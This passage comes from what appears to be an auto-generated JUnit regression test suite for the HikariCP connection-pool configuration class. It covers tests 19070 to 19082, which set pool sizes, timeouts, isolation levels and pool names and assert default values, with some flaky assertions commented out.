int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.isAutoCommit = false;
boolean boolean13 = hikariConfig1.isRegisterMbeans;
hikariConfig1.maxPoolSize = 'a';
hikariConfig1.maxLifetime = 3;
hikariConfig1.setMaxLifetime((long) '4');
long long20 = hikariConfig1.connectionTimeout;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
// flaky: org.junit.Assert.assertTrue("'" + long20 + "' != '" + 10L + "'", long20 == 10L);
}
@Test
public void test19070() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19070");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
java.lang.String str4 = hikariConfig1.connectionTestQuery;
hikariConfig1.setMaximumPoolSize(87);
java.util.Properties properties7 = null;
com.zaxxer.hikari.HikariConfig hikariConfig8 = new com.zaxxer.hikari.HikariConfig(properties7);
hikariConfig8.leakDetectionThreshold = 100;
hikariConfig8.minPoolSize = (byte) 1;
hikariConfig8.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer15 = hikariConfig8.connectionCustomizer;
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
int int18 = hikariConfig17.getTransactionIsolation();
hikariConfig17.setRegisterMbeans(false);
hikariConfig17.dataSourceClassName = "";
hikariConfig17.setTransactionIsolation("");
java.util.Properties properties25 = null;
com.zaxxer.hikari.HikariConfig hikariConfig26 = new com.zaxxer.hikari.HikariConfig(properties25);
int int27 = hikariConfig26.getTransactionIsolation();
hikariConfig26.setRegisterMbeans(false);
hikariConfig26.isInitializationFailFast = true;
int int32 = hikariConfig26.acquireRetries;
hikariConfig26.setMaxLifetime((long) (-1));
int int35 = hikariConfig26.getTransactionIsolation();
java.util.Properties properties36 = null;
com.zaxxer.hikari.HikariConfig hikariConfig37 = new com.zaxxer.hikari.HikariConfig(properties36);
int int38 = hikariConfig37.getTransactionIsolation();
hikariConfig37.setRegisterMbeans(false);
java.lang.String str41 = hikariConfig37.transactionIsolationName;
int int42 = hikariConfig37.getMaximumPoolSize();
int int43 = hikariConfig37.transactionIsolation;
java.util.Properties properties44 = hikariConfig37.dataSourceProperties;
hikariConfig26.setDataSourceProperties(properties44);
hikariConfig17.dataSourceProperties = properties44;
com.zaxxer.hikari.HikariConfig hikariConfig47 = new com.zaxxer.hikari.HikariConfig(properties44);
hikariConfig8.dataSourceProperties = properties44;
boolean boolean49 = hikariConfig8.isInitializationFailFast();
boolean boolean50 = hikariConfig8.isInitializationFailFast;
java.util.Properties properties51 = null;
com.zaxxer.hikari.HikariConfig hikariConfig52 = new com.zaxxer.hikari.HikariConfig(properties51);
hikariConfig52.setConnectionInitSql("hi!");
long long55 = hikariConfig52.getLeakDetectionThreshold();
java.util.Properties properties56 = null;
com.zaxxer.hikari.HikariConfig hikariConfig57 = new com.zaxxer.hikari.HikariConfig(properties56);
int int58 = hikariConfig57.getTransactionIsolation();
hikariConfig57.setRegisterMbeans(false);
java.lang.String str61 = hikariConfig57.transactionIsolationName;
int int62 = hikariConfig57.getMaximumPoolSize();
int int63 = hikariConfig57.transactionIsolation;
java.util.Properties properties64 = hikariConfig57.dataSourceProperties;
hikariConfig52.dataSourceProperties = properties64;
java.util.Properties properties66 = hikariConfig52.getDataSourceProperties();
hikariConfig8.dataSourceProperties = properties66;
hikariConfig1.dataSourceProperties = properties66;
int int69 = hikariConfig1.getAcquireIncrement();
int int70 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.transactionIsolation = 0;
hikariConfig1.setConnectionInitSql("HikariPool-40858");
org.junit.Assert.assertNull(str4);
org.junit.Assert.assertNull(iConnectionCustomizer15);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + int27 + "' != '" + (-1) + "'", int27 == (-1));
org.junit.Assert.assertTrue("'" + int32 + "' != '" + 3 + "'", int32 == 3);
org.junit.Assert.assertTrue("'" + int35 + "' != '" + (-1) + "'", int35 == (-1));
org.junit.Assert.assertTrue("'" + int38 + "' != '" + (-1) + "'", int38 == (-1));
org.junit.Assert.assertNull(str41);
org.junit.Assert.assertTrue("'" + int42 + "' != '" + 60 + "'", int42 == 60);
org.junit.Assert.assertTrue("'" + int43 + "' != '" + (-1) + "'", int43 == (-1));
org.junit.Assert.assertNotNull(properties44);
org.junit.Assert.assertTrue("'" + boolean49 + "' != '" + false + "'", boolean49 == false);
org.junit.Assert.assertTrue("'" + boolean50 + "' != '" + false + "'", boolean50 == false);
org.junit.Assert.assertTrue("'" + long55 + "' != '" + 0L + "'", long55 == 0L);
org.junit.Assert.assertTrue("'" + int58 + "' != '" + (-1) + "'", int58 == (-1));
org.junit.Assert.assertNull(str61);
org.junit.Assert.assertTrue("'" + int62 + "' != '" + 60 + "'", int62 == 60);
org.junit.Assert.assertTrue("'" + int63 + "' != '" + (-1) + "'", int63 == (-1));
org.junit.Assert.assertNotNull(properties64);
org.junit.Assert.assertNotNull(properties66);
org.junit.Assert.assertTrue("'" + int69 + "' != '" + 0 + "'", int69 == 0);
org.junit.Assert.assertTrue("'" + int70 + "' != '" + 87 + "'", int70 == 87);
}
@Test
public void test19071() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19071");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
hikariConfig11.setConnectionInitSql("hi!");
long long14 = hikariConfig11.getLeakDetectionThreshold();
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
int int21 = hikariConfig16.getMaximumPoolSize();
int int22 = hikariConfig16.transactionIsolation;
java.util.Properties properties23 = hikariConfig16.dataSourceProperties;
hikariConfig11.dataSourceProperties = properties23;
java.util.Properties properties25 = hikariConfig11.getDataSourceProperties();
hikariConfig1.addDataSourceProperty("HikariPool-489", (java.lang.Object) hikariConfig11);
hikariConfig11.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer29 = hikariConfig11.connectionCustomizer;
long long30 = hikariConfig11.getMaxLifetime();
hikariConfig11.setDataSourceClassName("HikariPool-105");
java.lang.String str33 = hikariConfig11.transactionIsolationName;
int int34 = hikariConfig11.maxPoolSize;
boolean boolean35 = hikariConfig11.isAutoCommit;
java.lang.String str36 = hikariConfig11.getConnectionTestQuery();
int int37 = hikariConfig11.maxPoolSize;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 0L + "'", long14 == 0L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertNull(iConnectionCustomizer29);
// flaky: org.junit.Assert.assertTrue("'" + long30 + "' != '" + 35L + "'", long30 == 35L);
org.junit.Assert.assertNull(str33);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + 60 + "'", int34 == 60);
org.junit.Assert.assertTrue("'" + boolean35 + "' != '" + true + "'", boolean35 == true);
org.junit.Assert.assertNull(str36);
org.junit.Assert.assertTrue("'" + int37 + "' != '" + 60 + "'", int37 == 60);
}
@Test
public void test19072() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19072");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
long long4 = hikariConfig1.getLeakDetectionThreshold();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
int int11 = hikariConfig6.getMaximumPoolSize();
int int12 = hikariConfig6.transactionIsolation;
java.util.Properties properties13 = hikariConfig6.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties13;
int int15 = hikariConfig1.minPoolSize;
java.util.Properties properties16 = hikariConfig1.getDataSourceProperties();
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
org.junit.Assert.assertNotNull(properties16);
}
@Test
public void test19073() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19073");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
int int11 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setConnectionInitSql("HikariPool-6");
hikariConfig1.setAcquireRetries(10);
hikariConfig1.connectionCustomizerClassName = "HikariPool-1476";
int int18 = hikariConfig1.getAcquireRetries();
hikariConfig1.setConnectionTestQuery("HikariPool-391");
hikariConfig1.isJdbc4connectionTest = false;
java.lang.String str23 = hikariConfig1.dataSourceClassName;
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 10 + "'", int18 == 10);
org.junit.Assert.assertEquals("'" + str23 + "' != '" + "" + "'", str23, "");
}
@Test
public void test19074() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19074");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
hikariConfig1.idleTimeout = 1800000L;
java.lang.String str10 = hikariConfig1.getPoolName();
long long11 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setMaxLifetime((long) 1);
hikariConfig1.setInitializationFailFast(true);
// flaky: org.junit.Assert.assertEquals("'" + str10 + "' != '" + "HikariPool-50691" + "'", str10, "HikariPool-50691");
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
}
@Test
public void test19075() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19075");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.isAutoCommit = false;
boolean boolean13 = hikariConfig1.isRegisterMbeans;
hikariConfig1.setIdleTimeout((long) (byte) 1);
int int16 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource17 = hikariConfig1.getDataSource();
int int18 = hikariConfig1.maxPoolSize;
hikariConfig1.maxPoolSize = (-1);
long long21 = hikariConfig1.connectionTimeout;
java.lang.String str22 = hikariConfig1.getPoolName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 1 + "'", int16 == 1);
org.junit.Assert.assertNull(dataSource17);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 60 + "'", int18 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long21 + "' != '" + 10L + "'", long21 == 10L);
// flaky: org.junit.Assert.assertEquals("'" + str22 + "' != '" + "HikariPool-50692" + "'", str22, "HikariPool-50692");
}
@Test
public void test19076() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19076");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
java.lang.String str8 = hikariConfig1.poolName;
hikariConfig1.poolName = "HikariPool-35023";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertEquals("'" + str8 + "' != '" + "HikariPool-50693" + "'", str8, "HikariPool-50693");
}
@Test
public void test19077() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19077");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
int int14 = hikariConfig1.acquireRetries;
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
boolean boolean17 = hikariConfig16.isAutoCommit;
hikariConfig16.poolName = "hi!";
java.lang.String str20 = hikariConfig16.dataSourceClassName;
java.lang.String str21 = hikariConfig16.dataSourceClassName;
hikariConfig16.setJdbc4ConnectionTest(false);
int int24 = hikariConfig16.maxPoolSize;
hikariConfig16.idleTimeout = (byte) -1;
java.util.Properties properties27 = null;
com.zaxxer.hikari.HikariConfig hikariConfig28 = new com.zaxxer.hikari.HikariConfig(properties27);
int int29 = hikariConfig28.getTransactionIsolation();
hikariConfig28.setRegisterMbeans(false);
hikariConfig28.dataSourceClassName = "";
hikariConfig28.setTransactionIsolation("");
java.util.Properties properties36 = null;
com.zaxxer.hikari.HikariConfig hikariConfig37 = new com.zaxxer.hikari.HikariConfig(properties36);
int int38 = hikariConfig37.getTransactionIsolation();
hikariConfig37.setRegisterMbeans(false);
hikariConfig37.isInitializationFailFast = true;
int int43 = hikariConfig37.acquireRetries;
hikariConfig37.setMaxLifetime((long) (-1));
int int46 = hikariConfig37.getTransactionIsolation();
java.util.Properties properties47 = null;
com.zaxxer.hikari.HikariConfig hikariConfig48 = new com.zaxxer.hikari.HikariConfig(properties47);
int int49 = hikariConfig48.getTransactionIsolation();
hikariConfig48.setRegisterMbeans(false);
java.lang.String str52 = hikariConfig48.transactionIsolationName;
int int53 = hikariConfig48.getMaximumPoolSize();
int int54 = hikariConfig48.transactionIsolation;
java.util.Properties properties55 = hikariConfig48.dataSourceProperties;
hikariConfig37.setDataSourceProperties(properties55);
hikariConfig28.dataSourceProperties = properties55;
com.zaxxer.hikari.HikariConfig hikariConfig58 = new com.zaxxer.hikari.HikariConfig(properties55);
hikariConfig16.dataSourceProperties = properties55;
hikariConfig1.setDataSourceProperties(properties55);
boolean boolean61 = hikariConfig1.isInitializationFailFast();
hikariConfig1.poolName = "HikariPool-410";
hikariConfig1.maxLifetime = 32;
hikariConfig1.setAutoCommit(false);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 3 + "'", int14 == 3);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertTrue("'" + int24 + "' != '" + 60 + "'", int24 == 60);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + (-1) + "'", int29 == (-1));
org.junit.Assert.assertTrue("'" + int38 + "' != '" + (-1) + "'", int38 == (-1));
org.junit.Assert.assertTrue("'" + int43 + "' != '" + 3 + "'", int43 == 3);
org.junit.Assert.assertTrue("'" + int46 + "' != '" + (-1) + "'", int46 == (-1));
org.junit.Assert.assertTrue("'" + int49 + "' != '" + (-1) + "'", int49 == (-1));
org.junit.Assert.assertNull(str52);
org.junit.Assert.assertTrue("'" + int53 + "' != '" + 60 + "'", int53 == 60);
org.junit.Assert.assertTrue("'" + int54 + "' != '" + (-1) + "'", int54 == (-1));
org.junit.Assert.assertNotNull(properties55);
org.junit.Assert.assertTrue("'" + boolean61 + "' != '" + false + "'", boolean61 == false);
}
@Test
public void test19078() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19078");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
hikariConfig1.minPoolSize = (short) 0;
javax.sql.DataSource dataSource6 = hikariConfig1.getDataSource();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer7 = hikariConfig1.connectionCustomizer;
hikariConfig1.isAutoCommit = false;
long long10 = hikariConfig1.maxLifetime;
hikariConfig1.setInitializationFailFast(false);
hikariConfig1.acquireRetries = (byte) 10;
hikariConfig1.setCatalog("HikariPool-15213");
org.junit.Assert.assertNull(dataSource6);
org.junit.Assert.assertNull(iConnectionCustomizer7);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
}
@Test
public void test19079() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19079");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
java.lang.String str2 = hikariConfig0.connectionInitSql;
hikariConfig0.transactionIsolationName = "HikariPool-1021";
int int5 = hikariConfig0.getAcquireRetries();
java.lang.String str6 = hikariConfig0.dataSourceClassName;
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertNull(str2);
org.junit.Assert.assertTrue("'" + int5 + "' != '" + 3 + "'", int5 == 3);
org.junit.Assert.assertNull(str6);
}
@Test
public void test19080() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19080");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-222");
int int18 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
java.lang.String str24 = hikariConfig20.transactionIsolationName;
long long25 = hikariConfig20.getIdleTimeout();
java.lang.String str26 = hikariConfig20.getCatalog();
java.util.Properties properties27 = hikariConfig20.getDataSourceProperties();
hikariConfig20.setIdleTimeout((long) (short) 10);
hikariConfig20.maxLifetime = (-1);
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
java.lang.String str37 = hikariConfig33.transactionIsolationName;
int int38 = hikariConfig33.transactionIsolation;
java.lang.String str39 = hikariConfig33.getConnectionInitSql();
int int40 = hikariConfig33.getMaximumPoolSize();
hikariConfig33.setJdbc4ConnectionTest(false);
java.util.Properties properties44 = null;
com.zaxxer.hikari.HikariConfig hikariConfig45 = new com.zaxxer.hikari.HikariConfig(properties44);
int int46 = hikariConfig45.getTransactionIsolation();
hikariConfig45.setRegisterMbeans(false);
java.lang.String str49 = hikariConfig45.transactionIsolationName;
long long50 = hikariConfig45.getIdleTimeout();
java.lang.String str51 = hikariConfig45.getCatalog();
java.util.Properties properties52 = hikariConfig45.getDataSourceProperties();
hikariConfig45.setUseInstrumentation(false);
hikariConfig33.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig45);
hikariConfig33.poolName = "HikariPool-104";
java.util.Properties properties58 = null;
com.zaxxer.hikari.HikariConfig hikariConfig59 = new com.zaxxer.hikari.HikariConfig(properties58);
hikariConfig59.leakDetectionThreshold = 100;
boolean boolean62 = hikariConfig59.isJdbc4ConnectionTest();
java.util.Properties properties63 = null;
com.zaxxer.hikari.HikariConfig hikariConfig64 = new com.zaxxer.hikari.HikariConfig(properties63);
int int65 = hikariConfig64.getTransactionIsolation();
hikariConfig64.setRegisterMbeans(false);
java.lang.String str68 = hikariConfig64.transactionIsolationName;
long long69 = hikariConfig64.getIdleTimeout();
java.lang.String str70 = hikariConfig64.getCatalog();
java.lang.String str71 = hikariConfig64.getConnectionTestQuery();
java.util.Properties properties72 = null;
com.zaxxer.hikari.HikariConfig hikariConfig73 = new com.zaxxer.hikari.HikariConfig(properties72);
hikariConfig73.dataSourceClassName = "";
java.util.Properties properties76 = hikariConfig73.dataSourceProperties;
hikariConfig64.setDataSourceProperties(properties76);
hikariConfig59.dataSourceProperties = properties76;
java.util.Properties properties79 = hikariConfig59.dataSourceProperties;
hikariConfig33.dataSourceProperties = properties79;
hikariConfig20.dataSourceProperties = properties79;
com.zaxxer.hikari.HikariConfig hikariConfig82 = new com.zaxxer.hikari.HikariConfig(properties79);
hikariConfig1.setDataSourceProperties(properties79);
java.util.Properties properties84 = hikariConfig1.getDataSourceProperties();
com.zaxxer.hikari.HikariConfig hikariConfig85 = new com.zaxxer.hikari.HikariConfig(properties84);
hikariConfig85.setConnectionInitSql("HikariPool-241");
boolean boolean88 = hikariConfig85.isAutoCommit();
boolean boolean89 = hikariConfig85.isAutoCommit;
hikariConfig85.setLeakDetectionThreshold((long) 87);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(str24);
// flaky: org.junit.Assert.assertTrue("'" + long25 + "' != '" + 60L + "'", long25 == 60L);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertNotNull(properties27);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertNull(str37);
org.junit.Assert.assertTrue("'" + int38 + "' != '" + (-1) + "'", int38 == (-1));
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 60 + "'", int40 == 60);
org.junit.Assert.assertTrue("'" + int46 + "' != '" + (-1) + "'", int46 == (-1));
org.junit.Assert.assertNull(str49);
// flaky: org.junit.Assert.assertTrue("'" + long50 + "' != '" + 60L + "'", long50 == 60L);
org.junit.Assert.assertNull(str51);
org.junit.Assert.assertNotNull(properties52);
org.junit.Assert.assertTrue("'" + boolean62 + "' != '" + true + "'", boolean62 == true);
org.junit.Assert.assertTrue("'" + int65 + "' != '" + (-1) + "'", int65 == (-1));
org.junit.Assert.assertNull(str68);
// flaky: org.junit.Assert.assertTrue("'" + long69 + "' != '" + 60L + "'", long69 == 60L);
org.junit.Assert.assertNull(str70);
org.junit.Assert.assertNull(str71);
org.junit.Assert.assertNotNull(properties76);
org.junit.Assert.assertNotNull(properties79);
org.junit.Assert.assertNotNull(properties84);
org.junit.Assert.assertTrue("'" + boolean88 + "' != '" + true + "'", boolean88 == true);
org.junit.Assert.assertTrue("'" + boolean89 + "' != '" + true + "'", boolean89 == true);
}
@Test
public void test19081() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19081");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
long long9 = hikariConfig1.maxLifetime;
java.lang.String str10 = hikariConfig1.dataSourceClassName;
hikariConfig1.setRegisterMbeans(true);
long long13 = hikariConfig1.connectionTimeout;
int int14 = hikariConfig1.getAcquireRetries();
java.lang.String str15 = hikariConfig1.connectionCustomizerClassName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 3 + "'", int14 == 3);
org.junit.Assert.assertNull(str15);
}
@Test
public void test19082() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19082");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
long long11 = hikariConfig1.maxLifetime;
hikariConfig1.minPoolSize = (byte) -1;
